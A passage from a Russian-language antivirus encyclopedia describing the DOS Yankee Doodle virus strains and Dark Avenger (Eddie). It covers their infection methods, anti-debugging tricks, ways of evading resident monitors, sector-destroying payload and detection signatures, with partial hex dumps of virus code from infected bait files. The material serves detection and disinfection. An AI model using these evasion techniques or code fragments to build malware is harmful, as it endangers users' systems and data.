как файлы  типа СОМ, так и файлы типа EXE. Заражение файлов проис-
ходит при  запуске на выполнение соответствующих программ. Зараже-
ние COMMAND.COM  происходит сразу после инсталляции вируса в верх-
ние адреса  свободной оперативной памяти, поскольку при этом зати-
рается транзитная  часть COMMAND.COM. Зараженный командный процес-
сор имеет длину 28197, при исходной длине 25307.
  Зависимости  работоспособности   вируса  от  версии  MS  DOS  не
обнаружено. Проверка  номера версии  в теле вируса не выполняется.
Перехватывает прерывания  1, 3, 1Ch, 21h. Дата создания и атрибуты
заражаемого файла  остаются неизменными. Заражение выполняется од-
нократно.
  При заражении COM-файлов вирус дописывает свое тело в конец фай-
ла, вставляя в первые три байта команду перехода на начало вируса.
Зараженные COM-файлы увеличиваются на 2885 (B45h) байтов (с вырав-
ниванием на границу параграфа). Заражаются COM-файлы длиной от 20h
до F277h байтов. В конце зараженного файла расположена четырехбай-
товая сигнатура вируса 7Fh, 39h, 2Ch, 00h.
  При заражении  EXE-файлов вирус также дописывает свое тело в ко-
нец файла  с выравниванием начала вируса на границу параграфа. При
этом размер файла увеличивается на 2881 (B41h) байт. Длина при за-

ражении EXE-  файлов не  контролируется. В  конце зараженного EXE-
файла четырехбайтовая сигнатура отсутствует.
  При инсталляции вирус узнает длину исходного файла, восстанавли-
вает истинный  стартовый адрес программы и проверяет наличие своей
копии в  памяти компьютера.  Если компьютер не заражен или заражен
более ранней  версией вируса,  то RCE-2885 копирует себя в область
памяти либо  сразу за  телом программы,  либо выделенную  функцией
ALLOC (21-48h)  и, манипулируя с MCB, остается резидентным в памя-
ти, перехватывая прерывания 21h, 1Ch и 09h.
  Вирус RCE-2885  проверяет, загружается ли файл с защищенной дис-
кеты или нет. Поэтому он не препятствует загрузке любого СОМ-файла
с защищенной  дискеты. Резидентная  часть вируса не обнаруживается
путем просмотра списка резидентных программ (с помощью утилит MAP,
SMAP, MMAP  и т.д.).  При этом  вирус не  детектируется программой
RELEASE, а попытка запустить RELEASE на зараженной машине приводит
к выдаче  сообщения о том, что RELEASE не может стать резидентным.
Вирус обходит контроль резидентных фильтров, следящих за записью в
программные файлы.
  Фаза проявления  данного вируса состоит в проигрывании с вероят-
ностью 1/8  мелодии Янки  Дудль ("Yankee Doodle") в 17 часов (точ-
нее, в 16:59:53). Никаких разрушений или манипулирований с данными
вирус не выполняет.
  При попытке  дизассемблирования дизассемблером  Sourcer, а также
трассировке на  зараженной машине, наблюдается эффект "самоизлече-
ния" файлов.  Этот достаточно "экзотический" эффект достигается за
счет контроля  прерываний 1h и 3h при получении управления по пре-
рыванию 1Ch.  По умолчанию процедуры обработки этих прерываний со-
стоят из  одной команды возврата. При загрузке программы, перехва-
тывающей данные прерывания (программа трассировки или дизассемблер
типа SOURCER), вирус устанавливает для указанных прерываний собст-
венные процедуры  обработки. Последние  проверяют, не произошли ли
эти прерывания  из кодового  сегмента, в котором расположена рези-
дентная часть вируса, и если да, запускают подпрограмму восстанов-
ления кода  вируса,  тем  самым  отключая  программу  трассировки.
Другими словами контроль прерываний 1 и 3 состоит в том, что, пока
процедуры обработки  этих прерываний состоят из одной команды воз-
врата из  прерывания, никаких действий вирусом не производится, но
стоит Вам  загрузить программу,  модифицирующую адреса обработчика
данных прерываний  (например, отладчик),  как вирус  установит для
них собственные  процедуры обработки. Основной целью перехвата уп-
равления при  обработке прерываний  1h и  3h является проверка, не
произошли ли эти прерывания из кодового сегмента, равного сегменту
загрузки в память резидентного вируса. Если это так, то кто-то пы-
тается посмотреть  работу вируса  под отладчиком, и в ответ на это
вызывается специальная  процедура восстановления  кода вируса, чем
прерывается работа отладчика.
  Аналогичным  образом  реализовано  самоизлечение  загружаемых  в
трассировщик зараженных  файлов: резидентная часть вируса отслежи-
вает момент  загрузки программы  в память  без исполнения (21-4Bh,
AH=03), и  проверяет, загружают  в память зараженную программу или
нет. В последнем случае запускается подпрограмма "выкусывания" ви-
руса. Как  уже указывалось, при заражении файлов, зараженных пред-
ыдущими версиями  вируса, выполняется сначала "выкусывание", а за-
тем заражение данным штаммом.
  Исторические замечания.  Впервые вирус был описан В.Бончевым под
названием TP-44.  Данный вирус  был обнаружен  в Киеве  в сентябре
1989 г.  Первым фагом для данного вируса были программы RVC и RVE.
(для COM-  и EXE-файлов, соответственно). В настоящее время данные
программы представляют только исторический интерес.
  Неформальные   названия.   Помимо   приведенных   в   заголовке,
используются следующие  названия: Янки Дудль, Музыкальный, Летучий
Голландец, TP-44.

  Программные средства защиты. Простейшие средства защиты недоста-
точно эффективны против данного вируса. В частности, попытки запи-
си вируса  в запускаемый  файл не  обнаруживаются  ни  VIRBLK,  ни
ANTI4US2. Эффективна защита на уровне дискового драйвера (Advanced
Disk Manager,  Dcache и т.д.). Как уже указывалось, вирус содержит
средства защиты против трассировки. Для контроля работы детекторов
можно использовать   поиск строки "0505050505050505"h.

      Фрагмент дампа дрозофилы, зараженной вирусом RCE-2885

100   E90E089090909090  9090909090909090  ................
110   9090040090909090  9090909090909090  ................
120   9090909090909090  9090909090909090  ................
130   9090909090909090  909090C37A3D0000  ............z=..
140   F47A2C0000003C00  BE0A909090909090  .z,...<.........
150   9090909090909090  9090909090909090  ................
160   9090909090909090  9090601479026014  ..........`.y.`.
170   790256058C4253FF  00F00500B6643B13  y.V..BS......d;.
180   DE006A002E833ED4  065C0770002E833E  ..j...>..\.p...>
190   D4065C0770000000  2101000100016901  ..\.p...!.....i.
1A0   0000100000010002  CF02C711C711E60F  ................
1B0   280EC711280EE60F  C417C711C711E60F  (...(...........
1C0   280EC711C711C711  C711E60F280E590D  (...........(.Y.
1D0   280EE60FC711EF12  C4172C15EF12C711  (.........,.....
1E0   C7112C15EF122C15  C51A2C15EF12C711  ..,...,...,.....
1F0   2C15C4172C15C417  C51A671CC51AC417  ,...,.....g.....
200   2C15EF122C15C51A  2C15EF12C7112C15  ,...,...,.....,.
210   C417C711EF12E60F  C711C711FFFF0505  ................
220   0505050505050505  0505090905050505  ................
230   0505050505050505  0909050505050505  ................
240   0505050505050505  0605050505050505  ................
250   06050505050909FE  067A7DFE06FB7D74  .........z}...}t
...   .. .. .. .. .. .. .. .. .. .. .. ..  .. .. .. .. ..
        +----- начало инсталлятора вируса
        V
911     E800005B81EBD4  072EC6875C00FFFC  ....[.......\...
920   2E80BF5B00007418  BE0A0003F3BF0001  ...[..t.........
930   B92000F3A40E2EFF  B76400061E50EB13  . .......d...P..
...   .. .. .. .. .. .. .. .. .. .. .. ..  .. .. .. .. ..
B60   3146F826A10A0031  46FA26A10C003146  1F.&...1F.&...1F
B70   FC26A10E003146FE  EB118BC1B908008D  .&...1F.........
B80   76F033FFF336A58B  C8EB0349EB9BD1EA  v.3..6.....I....
B90   7202EB868BE55DC3  558BEC1E8E5E048E  r.....].U....^..
BA0   460633DB268B0731  0783C30283FB1072  F.3.&..1.......r
BB0   F3FF4604FF4606FF  4E0875E01F5DC355  ..F..F..N.u..].U
BC0   8BEC1EB30133F633  C98B7E08037E0A4F  .....3.3..~..~.O
BD0   8EDFD02CD1D14F3B  7E0873F40BC97411  ...,..O;~.s...t.
BE0   51FF7606FF7604E8  EBFE83C4068ED830  Q.v..v.........0
BF0   1C4683FE1072D0D0  E373CA1F5DC387DB  .F...r...s..]...
C00   88CB8A998F38E7CD  A19B3EEF86C89783  .....8....>.....
C10   5234BE8C2129B1F9  C19B120409F34501  R4..!)........E.
C20   931DB0B9C6010692  375049E8D5719722  ........7PI..q."
C30   A6E64C50BE2A23BE  441DA1A66BA0E006  ..LP.*#.D...k...
C40   AA1AF62AC0022F75  99060F5B97023E64  ...*../u...[..>d
C50   7DC8506608C4FA92  8E64751BA61BB932  }.Pf.....du....2
C60   BD0B3E616DE0C4B9  29CA9C170821EAEE  ..>am...)....!..
C70   7E85B1632AC37171  2CA0F28B590DF9D5  ~..c*.qq,...Y...
C80   00F47A2C00                          ..z,.
        +----+
       сигнатура

                     5.3.3.2. Вирус RCE-2680
             (ТР-33, Yankee Doodle-21 -- Янки дудль-21)
  Этот штамм, по-видимому, является первым представителем подгруп-
пы самоедов.  Именно в  нем была  добавлена часть,  обеспечивающая
восстановление оригинального  кода вируса  при изменении до 16 по-
следовательных байтов  (с помощью  самокорректирующегося кода Хем-
минга). Вирус играет мелодию Янки Дудль в 17 часов.
  Исторические замечания. Данный вирус распространялся на вирусной
дискете В.Бончева  в файле  TP33VIR.COM, датированном  17  февраля
1989 г.

      Фрагмент дампа дрозофилы, зараженной вирусом RCE-2680

0100   E99F069090909090  9090909090909090  ................
0110   9090909090909090  9090909090909090  ................
0120   9090909090909090  9090909090909090  ................
0130   9090909090909090  90909090909090C3  ................
0140   4D0800AF00000000  0000000000000000  M...............
0150   6002FD1660147402  5605631353FF00F0  `...`.t.V.c.S...
0160   20000500BB916A13  0000C60052002EC6   .....j.....R...
0170   5C077000558B5C07  7000010001909090  \.p.U.\.p.......
0180   9090909090909090  90909087DB87DB90  ................
0190   6402C711C711E60F  280EC711280EE60F  d.......(...(...
01A0   C417C711C711E60F  280EC711C711C711  ........(.......
01B0   C711E60F280E590D  280EE60FC711EF12  ....(.Y.(.......
01C0   C4172C15EF12C711  C7112C15EF122C15  ..,.......,...,.
01D0   C51A2C15EF12C711  2C15C4172C15C417  ..,.....,...,...
01E0   C51A671CC51AC417  2C15EF122C15C51A  ..g.....,...,...
01F0   2C15EF12C7112C15  C417C711EF12E60F  ,.....,.........
0200   C711C711FFFF0505  0505050505050505  ................
0210   0505090905050505  0505050505050505  ................
0220   0909050505050505  0505050505050505  ................
0230   0605050505050505  0605050505090950  ...............P
0240   53B800008EC026C4  1C895D028C450426  S.....&...]..E.&
0250   803FCF740A268B07  890526C707CD1C5B  .?.t.&....&....[
...   .. .. .. .. .. .. .. .. .. .. .. ..  .. .. .. .. ..
           +----  начало инсталлятора вируса
           V
07A2       E800005B81EB  65065053BB2100F8  C....[..e.PS.!..
07B0   B803C5CD215B7223  83FCF0721E2E8B97  ....![r#...r....
07C0   0300428CD903D18E  C28BF38BFEB9780A  ..B...........x.
...   .. .. .. .. .. .. .. .. .. .. .. ..  .. .. .. .. ..
0B90   4390CFD2EF3B32E9  5F393E674E4B471B  C....;2._9>gNKG.
0BA0   D22B7A58EC6C90D9  E60A21B50D5FB446  .+zX.l....!.._.F
0BB0   40009391F47A2190                    @....z!.
               +----+
              сигнатура

                     5.3.3.3. Вирус RCE-2568
             (ТР-34, Yankee Doodle-22 -- Янки дудль-22)

      Фрагмент дампа дрозофилы, зараженной вирусом RCE-2568

0100   E98F069090909090  9090909090909090  ................
0110   9090909090909090  9090909090909090  ................
0120   9090909090909090  9090909090909090  ................
0130   9090909090909090  90909090909090C3  ................
0140   6002FD1660147402  5605233C53FF00F0  `...`.t.V.#<S...
0150   2000050093916A13  0000B60042002EA3   .....j.....B...
0160   5C07700087EC5C07  7000010001909090  \.p...\.p.......
0170   9090909090909090  90909087DB87DB90  ................
0180   5402C711C711E60F  280EC711280EE60F  T.......(...(...
0190   C417C711C711E60F  280EC711C711C711  ........(.......
01A0   C711E60F280E590D  280EE60FC711EF12  ....(.Y.(.......
01B0   C4172C15EF12C711  C7112C15EF122C15  ..,.......,...,.
01C0   C51A2C15EF12C711  2C15C4172C15C417  ..,.....,...,...
01D0   C51A671CC51AC417  2C15EF122C15C51A  ..g.....,...,...
01E0   2C15EF12C7112C15  C417C711EF12E60F  ,.....,.........
01F0   C711C711FFFF0505  0505050505050505  ................
0200   0505090905050505  0505050505050505  ................
0210   0909050505050505  0505050505050505  ................
0220   0605050505050505  0605050505090950  ...............P
0230   53B800008EC026C4  1C895D028C450426  S.....&...]..E.&
0240   803FCF740A268B07  890526C707CD1C5B  .?.t.&....&....[
...   .. .. .. .. .. .. .. .. .. .. .. ..  .. .. .. .. ..
           +----  начало инсталлятора вируса
           V
0792       E800005B81EB  55065053BB2200F8  C....[..U.PS."..
07A0   B803C5CD215B7203  E9AE00598CC88ED8  ....![r....Y....
07B0   8EC02E8A87070A2E  A200018BC18B8F02  ................
...   .. .. .. .. .. .. .. .. .. .. .. ..  .. .. .. .. ..
0AF0   B7C5961AA5A87868  F4411F709A6E58DE  ......xh.A.p.nX.
0B00   FDBACD6400466F1B  9488E612AFB1F895  ...d.Fo.........
0B10   46A9D1AE675742D9  6A5B8E0E1F21D50A  F...gWB.j[...!..
0B20   4FFC427B17B1F9F2  684532D06EF9DDA4  O.B{....hE2.n...
0B30   DC014D1AFC655125  DD88256102BD0D0C  ..M..eQ%..%a....
0B40   40009391F47A2290                    @....z".
               +----+
                сигнатура

                     5.3.3.4. Вирус RCE-2756
            (ТР-38, Yankee Doodle-26 -- Янки дудль-26)
  В данном штамме добавлена логика, обеспечивающая обход фильтров,
перехватывающих прерывание 21. Примененный прием основан на выпол-
нении трассировки  программ, "сидящих" на 21 прерывании до попада-
ния в "оригинальный" обработчик MS DOS и запоминании соответствую-
щего адреса.  Кроме того,  именно с этой версии наблюдается эффект
"самоизлечения" зараженной программы при попытке трассировки ее на
зараженной вирусом машине.
  Исторические замечания. Данный вирус распространялся на вирусной
дискете В.Бончева  в файле  TP38VIR.COM, датированном  28  февраля
1989 г.

      Фрагмент дампа дрозофилы, зараженной вирусом  RCE-2756

100   E9DB079090909090  9090909090909090  ................
***   Последующие строки идентичны предыдущей ***
120   9090909090909090  9090909090909090  ................
130   9090909090909090  90909090909090C3  ................
140   F47A260000004000  400A909090909090  .z&...@.@.......
150   9090909090909090  9090909090909090  ................
160   9090909090909090  9090720EA0196014  ..........r...`.
170   74025605D656E008  A01920000500FABB  t.V..V.... .....
180   28140000DC006800  2EA35C07700087EC  (.....h...\.p...
190   5C07700001000101  87DB87DB87DB87DB  \.p.............
1A0   1000000100028102  C711C711E60F280E  ..............(.
1B0   C711280EE60FC417  C711C711E60F280E  ..(...........(.
1C0   C711C711C711C711  E60F280E590D280E  ..........(.Y.(.
1D0   E60FC711EF12C417  2C15EF12C711C711  ........,.......
1E0   2C15EF122C15C51A  2C15EF12C7112C15  ,...,...,.....,.
1F0   C4172C15C417C51A  671CC51AC4172C15  ..,.....g.....,.
200   EF122C15C51A2C15  EF12C7112C15C417  ..,...,.....,...
210   C711EF12E60FC711  C711FFFF05050505  ................
220   0505050505050505  0909050505050505  ................
230   0505050505050909  0505050505050505  ................
240   0505050505050605  0505050505050605  ................
250   0505050909505333  C08EC026C41C895D  .....PS3...&...]
260   028C450426803FCF  740A268B07890526  ..E.&.?.t.&....&
270   C707CD1C5B58C356  57BE0400BF4800E8  ....[X.VW....H..
...   .. .. .. .. .. .. .. .. .. .. .. ..  .. .. .. .. ..
     начало инсталлятора вируса ----+
                                    V
8DE                                 E800  ..U..t...R.QC...
8E0   005B81EBA107FC2E  80BF5600007418BE  .[........V..t..
8F0   0A0003F3BF0001B9  2000F3A40E2EFFB7  ........ .......
..   .. .. .. .. .. .. .. .. .. .. .. ..  .. .. .. .. ..
BC0   F0435C6B7478F6AE  05B22AD44954519F  .C\ktx....*.ITQ.
BD0   DD99113FEAE02D2E  6DCC95C81233C43E  ...?..-.m....3.>
BE0   5A2B8B33E11C3E88  C4806AC3DEFF6F33  Z+.3..>...j...o3
BF0   44223341E9BC133D  CA1B92C402A0D2FD  D"3A...=........
C00  |F47A2600                            .z&.
     +-----+
     сигнатура

                      5.3.3.5. Вирус RCE-2901
            (ТР-45, Yankee Doodle-2D  -- Янки дудль-2D)
  Данный вирус отличается от TP-44 лишь незначительными деталями.
  Исторические  замечания.   Вирус  распространялся   на  вирусной
дискете  В.Бончева   в  файле   COMMAND.VIR.   По-видимому   вирус
разработан весной 1989 г.

      Фрагмент дампа дрозофилы, зараженной вирусом RCE-2901

000: E906089090909090 9090909090909090  ................
010: 9090030090909090 9090909090909090  ................
020: 9090909090909090 9090909090909090  ................
030: F47A2D0000003000 C60A909090909090  .z-...0.........
040: 9090909090909090 9090909090909090  ................
050: 9090909090909090 9090390398146014  ..........9...`.
060: 640256059D1053FF 00F0050045002100  d.V...S.....E.!.
070: DE006A009A87014A 9F5C0770009C2E8F  ..j....J.\.p....
080: 06775C0770000000 2001000100013F01  .w\.p... .....?.
090: 0000100000010002 CF02C711C711E60F  ................
0A0: 280EC711280EE60F C417C711C711E60F  (...(...........
0B0: 280EC711C711C711 C711E60F280E590D  (...........(.Y.
0C0: 280EE60FC711EF12 C4172C15EF12C711  (.........,.....
0D0: C7112C15EF122C15 C51A2C15EF12C711  ..,...,...,.....
0E0: 2C15C4172C15C417 C51A671CC51AC417  ,...,.....g.....
0F0: 2C15EF122C15C51A 2C15EF12C7112C15  ,...,...,.....,.
100: C417C711EF12E60F C711C711FFFF0505  ................
110: 0505050505050505 0505090905050505  ................
120: 0505050505050505 0909050505050505  ................
130: 0505050505050505 0605050505050505  ................
140: 06050505050909FE 067A7DFE06FB7D74  .........z}...}t
150: 05EA007C0000FC33 C08EC0BE2A7DBF4C  ...|...3....*}.L
160: 00A5A52683061304 02EA007C00008B04  ...&.......|....
170: 2DBC0072093D0800 9072038904C3B809  -..r.=...r......
...   .. .. .. .. .. .. .. .. .. .. .. ..  .. .. .. .. ..
7A0: 06525153508B0E3C 008B163E00B80157  .RQSP..<...>...W
7B0: E8D9FBB43EE8D4FB 8A0E580080F12080  ....>.....X... .
7C0: E13FF6C1217411B8 01431E32ED8A0E58  .?..!t...C.2...X
7D0: 00C55604E8BAFB1F B824251EC5163200  ..V......$%...2.
7E0: E8AEFB1F8A165D00 B80133E8A3FB585B  ......]...3...X[
7F0: 595A075DF9C359BA 00022E80BF5A0000  YZ.]..Y......Z..
...   .. .. .. .. .. .. .. .. .. .. .. ..  .. .. .. .. ..
B40: F2DB996A6A37B0CE B3FBC50E2CD85FC4  ...jj7......,._.
B50: 4C99CE00A228B8B9 339F6B8B59C09A66  L....(..3.k.Y..f
B60: DBDB30252E0A0049 34C355356A362F79  ..0%...I4.U5j6/y
B70: 2B8E340D1D0D0629 F94636B8AD18F6AA  +.4....).F6.....
B80: 00F47A2D00                         ..z-.
       +----+
     B-сигнатура

                      5.3.3.6. Вирус RCE-2932
            (ТР-41, Yankee Doodle-29  -- Янки дудль-29)
  Разрушение или  модификация данных  в вирусе  не  предусмотрена.
Длина вируса  составляет 2932  (B74h) байт.  Заражаются  COM-файлы
длиной от  20h до  F247h байт  и EXE-файлы любой длины. Код вируса
практически полностью  совпадает с  кодом RCE-2885. Отличия от по-
следнего сводятся к тому, что в 17.00 мелодия играется всегда.

      Фрагмент дампа дрозофилы, зараженной вирусом RCE-2932

000: E92F089090909090 9090909090909090  ./..............
010: 9090030090909090 9090909090909090  ................
020: 9090909090909090 9090909090909090  ................
030: F47A290000003000 EE0A909090909090  .z)...0.........
040: 9090909090909090 9090909090909090  ................
050: 9090909090909090 9090390398146014  ..........9...`.
060: 640256059D1053FF 00F0200005004500  d.V...S... ...E.
070: 210000001701DC00 72D0DF04555C0770  !.......r...U\.p
080: 0089BFCE1B975C07 7000010001000101  ......\.p.......
090: 0000100000010002 B302C711C711E60F  ................
0A0: 280EC711280EE60F C417C711C711E60F  (...(...........
0B0: 280EC711C711C711 C711E60F280E590D  (...........(.Y.
0C0: 280EE60FC711EF12 C4172C15EF12C711  (.........,.....
0D0: C7112C15EF122C15 C51A2C15EF12C711  ..,...,...,.....
0E0: 2C15C4172C15C417 C51A671CC51AC417  ,...,.....g.....
0F0: 2C15EF122C15C51A 2C15EF12C7112C15  ,...,...,.....,.
100: C417C711EF12E60F C711C711FFFF0505  ................
110: 0505050505050505 0505090905050505  ................
120: 0505050505050505 0909050505050505  ................
130: 0505050505050505 0605050505050505  ................
140: 06050505050909FE 067A7DFE06FB7D74  .........z}...}t
150: 05EA007C0000FC33 C08EC0BE2A7DBF4C  ...|...3....*}.L
160: 00A5A52683061304 02EA007C0000561E  ...&.......|..V.
...  ..  ..  ..  ..   ..  ..  ..  ..    ..  ..  ..  ..
1E0: EC9C061E53500E1F E8E4FF8CC8394608  ....SP.......9F.
1F0: 74358E5E0883BF02 0029752081BF0000  t5.^.....)u ....
200: F47A751881BF0800 EE0A75108CD8D1EB  .zu.......u.....
210: D1EBD1EBD1EB03C3 8ED8EB0B836E0205  .............n..
220: 585B1F079D5DCBE8 F8008B460AFE065B  X[...].....F...[
230: 00A900017507FF4E 06FE0E5B0025FFFE  ....u..N...[.%..
...  ..  ..  ..  ..   ..  ..  ..  ..    ..  ..  ..  ..
B60: 419EBF488A06A7BA 0A8993557831908F  A..H.......Ux1..
B70: B0BAA467FDFB369D F825859828EEBB8E  ...g..6..%..(...
B80: A4276E3D35E3DC9E 472D3C7C5AE5D407  .'n=5...G-<|Z...
B90: 805C01401F4CBCFC 3DC3E86DA14C4554  .\.@.L..=..m.LET
BA0: F47A2900                           .z).
    +-----+
   сигнатура

                       5.4. Группа Avenger

  Группа Avenger является одной из наиболее опасных групп вирусов.
В настоящее  время включает  два вируса: RCE-1800 (Dark Avenger) и
RCE-02000 (Bontchev).  Предположительно оба вируса болгарской раз-
работки. Код вирусов этой группы свидетельствует о глубоком знании
разработчиком MS DOS. В них используется ряд нетривиальных методов
маскировки и обхода простейших резидентных сторожей.

                      5.4.1. Вирус RCE-1800
          (Dark Avenger -- Черный мститель; Eddie -- Эдди)

  Вирус RCE-1800  получил свое  название в связи с тем, что в теле
вируса содержатся две достаточно длинные текстовые строки:
  1. "Eddie lives...somewhere in time" (в начале вируса, т.е. сра-
зу после конца зараженного СOM-файла).
  2. "This  program was  written in  the city of Sofia (C) 1988-89
Dark Avenger".
  Формально RCE-1800  является файловым резидентным вирусом, пора-
жающим как  файлы типа  СОМ, так  и файлы  типа  EXE.  Это  первый
попавший   в    СССР   вирус,   стратегия   размножения   которого
предусматривает заражение программ не только при их выполнении, но
и при  других операциях доступа к соответствующим файлам. Поэтому,
при отсутствии противодействия, RCE-1800 размножается гораздо быс-
трее ранее  рассмотренных вирусов.  Помимо заражения  при  запуске
программ на  выполнение, файлы заражаются при создании, переимено-
вании, открытии и закрытии (прерывания 21-4Bh, 21-3Ch, 21-5Bh, 21-
56h, 21-3Dh, 21-2h). Такая стратегия размножения делает этот вирус
весьма опасным,  поскольку, если  в зараженной  системе  запустить
программу, систематически просматривающую файлы во всех подкатало-
гах (например,  ревизор), то большая часть СOM- и EXE-файлов будет
в результате заражена.
  При запуске зараженной программы вирус сначала проверяет наличие
в оперативной  памяти своей копии. При этом копия проверяется пол-
ностью и в случае обнаружения изменений с этого места в память за-
писывается исходный код вируса. Это существенно затрудняет нейтра-
лизацию вируса  в оперативной памяти. Если вирус не нашел в опера-
тивной памяти своей копии, то он загружается в верхнюю область си-
стемной памяти,  а затем резервирует для себя участок памяти путем
манипуляций с  MCB и используя функции MS DOS (выделения, освобож-
дения и  изменения размеров  выделенной памяти).  При  загрузке  в
старшие адреса памяти вирус затирает транзитную часть COMMAND.COM.
Поэтому при первой же команде с консоли транзитная часть вызывает-
ся повторно, что и приводит к ее заражению.
  На фазе инсталляции вирус определяет расположение в ПЗУ обработ-
чика прерывания 13h как для дискеты, так и для жесткого диска. Все
необходимые сведения для этой цели он берет из векторов 40h и 41h,
где   содержатся, соответственно, адрес обработчика прерывания 13h
в ПЗУ  и адрес таблицы параметров для винчестера. Алгоритм опреде-
ления адреса  прерывания 13 в ПЗУ, используемый вирусом не универ-
сален и он работает не для всех типов IBM-совместимых компьютеров.
Помимо прерывания 13h,  вирус перехватывает прерывания  21h и 27h.
Прерывание 21h  используется  стандартным  образом  (отслеживаются
приведенные выше  подфункции), а  прерыванием 27h вирус пользуется
для того, чтобы проверять, не изменился ли вектор 21h, и при необ-
ходимости восстанавливать его.
  Вирус работоспособен на версиях 3.х и 4.х MS DOS. Проверка номе-
ра версии в теле вируса не выполняется.
  Зараженные COM-файлы  увеличиваются в  размере на  1800  байтов,
причем дата их создания и атрибуты остаются неизменными. Заражение
выполняется однократно. При заражении вирус дописывает свое тело в
конец файла, вставляя в первые три байта команду перехода на нача-
ло вируса. Выравнивание на границу параграфа для COM-файлов не вы-
полняется. Инфицируются  COM-файлы длиной  от 1775  (6Fh) до 63148
(F6ACh) байтов.  В силу сказанного выше, COMMAND.COM является наи-
более подверженной заражению данным вирусом программой. Для версии
3.3 зараженный  COMMAND.COM имеет  размер 27107  байтов (если  его
первоначальный размер был 25307 байтов). Очевидно, что при зараже-
нии не имеет значения, где расположен командный процессор, лишь бы
диск был доступен для записи.
  Заражение EXE-файлов  выполняется стандартно, за исключением то-
го, что вирус не сохраняет в своем теле исходной длины заражаемого
файла. Однако  восстановление длины программы все же возможно, по-
скольку вирус запоминает в теле некоторый байт. При заражении EXE-
файлов вирус дописывается в конец файла с выравниванием на границу
параграфа (т.е. приращение длины колеблется в диапазоне 1800..1815
байтов). Инфицируются EXE-файлы длиной больше 1775 (6Fh) байтов.
  Помимо COM-  и EXE-файлов,  вирус иногда  заражает файлы данных.
Это свойство характерно не только для данного вируса, но и для лю-
бого вируса,  который заражает открываемые файлы. Зараженные таким
образом файлы данных можно лечить обычным фагом, указав соответст-
вующее расширение.
  Фаза   проявления   данного   вируса   связана   с   разрушением
опеределенных секторов  винчестера и наступает после определенного
количества инсталляций вируса (запусков первой зараженной програм-
мы после  перезагрузки системы, в ходе которых он становится рези-
дентным). При  зараженном COMMAND.COM количество инсталляций равно
количеству  перезагрузок   машины  после  заражения.  Вирус  ведет
счетчик инсталляций в байте со смещением 0Аh (10) бутсектора. Чте-
ние бутсектора  выполняется с помощью прерывания 25h, что возможно
только для  ОС, не  поддерживающей диски размером более 32M. Сразу
после очередной инсталляции вирус анализирует 2 байта (8-й и 10-й)
бутсектора диска,  с которого  была запущена зараженная программа.
Десятый байт  используется в качестве счетчика, который вирус уве-
личивает на  1 при каждой инсталляции, сохраняя увеличенное значе-
ние в том же байте. При каждой 16-ой инсталляции он уничтожает со-
держимое одного  из секторов винчестера (номер, по-видимому, выби-
рается случайно  и зависит от значения 8-го байта бутсектора), за-
писывая туда  первые 512 байтов своего тела. При этом первые байты
запорченного    сектора     будут    содержать     фразу    "Eddie
lives...somewhere in time", что позволяет выявить все уничтоженные
сектора глобальным  контекстным поиском  по диску.  При  заражении
файлов или  уничтожении секторов  вирус использует  прерывание  13
"напрямую" -- управление передается в ПЗУ, минуя текущий обработчик
прерывания. Это позволяет обходить проверки резидентных сторожей.
  Вирус предпринимает  ряд мер по маскировке своего наличия в опе-
ративной памяти.  При старте  любой программы  вирус помечает про-
граммный сегмент  как последний  и становится  невидимым для  этой
программы, по  окончании работы программы вирус помечает программ-
ный сегмент  как не последний. При завершении программы вирус вос-
станавливает первоначальное значение прерывания 21h, если оно было
изменено программой.  Вирус вставляет  себя первым  в цепочку про-
грамм, получающих  управление по прерыванию 21h, а в дальнейшем не
позволяет программам  встать раньше  него в указанном списке. Этот
метод "всплытия"  позволяет обойти простейшие резидентные сторожа.
Вирус обходит  контроль программ, следящих за прерыванием 13h, оп-
ределяя значение  этого вектора при инсталляции и в дальнейшем на-
прямую обращаясь по соответствующему адресу .
  Исторические замечания. Впервые вирус описал В.Бончев [13]. Если
исходить из  приведенной выше строки, то RCE-1800 имеет болгарское
происхождение и написан в первой половине 1989 г. В Киеве появился
вместе с  компьютерами, приобретенными у одного из московских коо-
перативов в  сентябре 1989  г. Одним  из первых этот вирус выделил
В.О.Ткаченко. Фактически  данный вирус был первым вирусом, который
мог уничтожать  информацию в базах данных, а не только выполняемые
файлы, и  ряд организаций серьезно пострадали в результате повреж-
дения вирусом  их баз  данных. Первые  фаги для  данного вируса не
проверяли его  наличие в  оперативной памяти,  поэтому наблюдались
случаи, когда  при запуске фага при резидентном вирусе фаг обнару-
живал зараженный  файл, "выкусывал" вирус, а при закрытии файла он
снова оказывался зараженным. Более того, при запуске детектора или
ревизора, не  проверявших наличие вируса в оперативной памяти, за-
ражались все  проверявшиеся файлы,  которые еще  не были заражены.
Поэтому основной особенностью борьбы с данным вирусом являлось бы-
строе распространение  понимания необходимости нейтрализации рези-
дентного вируса у разработчиков фагов и не менее быстрое понимание
необходимости проводить  "лечение", только  загрузившись с эталон-
ной, защищенной  от записи дискеты, у пользователей. В силу особой
опасности заражения  данным вирусом  многие организации перешли на
сплошной входной контроль поступающего программного обеспечения.
  В Москве получил распространение штамм вируса, в котором сообще-
ние "Eddie  lives somewere in time" заменено на "B O R O D A мстит
во времени".
  Неформальные названия.  Полидетектор SCAN  называет данный вирус
"Dark Avenger  virus [Dav]".    Помимо  приведенных  в  заголовке,
используются названия  Avenger (Мститель),  Sofia  (София),  Diana
(Диана). Последнее  название связано  с тем, что в теле вируса со-
держится строка "Diana P".
  Программные средства  защиты. См. прил.1. Выявление поврежденных
файлов можно  выполнить с  помощью глобального контекстного поиска
по диску,  обеспечиваемого, например,  PCTools. Любые  действия по
анализу содержимого  диска следует  выполнять только  при  условии
предварительной загрузки  операционной системы  с эталонной, защи-
щенной по записи, дискеты. При исследовании вируса автор пренебрег
этим правилом, запустив после заражения COMMAND.COM программу под-
счета контрольных  сумм и  анализа каталогов  на винчестере. В ре-
зультате, оставаясь резидентным, вирус последовательно заразил по-
рядка 50 COM- и EXE-файлов. Исходя из этого, легко представить се-
бе последствия прогона батареи фагов на зараженной машине.

      Фрагмент дампа дрозофилы, зараженной вирусом RCE-1800

000: E955079090909090 9090909090909090  .U..............
010: 9090909090909090 9090909090909090  ................
***   последующие строки идентичны предыдущей   ***
6F0: 4564646965206C69 7665732E2E2E736F  Eddie lives...so
700: 6D65776865726520 696E2074696D6521  mewhere in time!
710: 00009023121E8CC3 83C3102E039CFF06  ...#............
720: 2E899C53002E8B9C FD062E899C51008C  ...S.........Q..
730: C383C3102E039C03 078ED32E8BA40107  ................
740: EA00000000BF0001 81C60507A4A58B26  ...............&
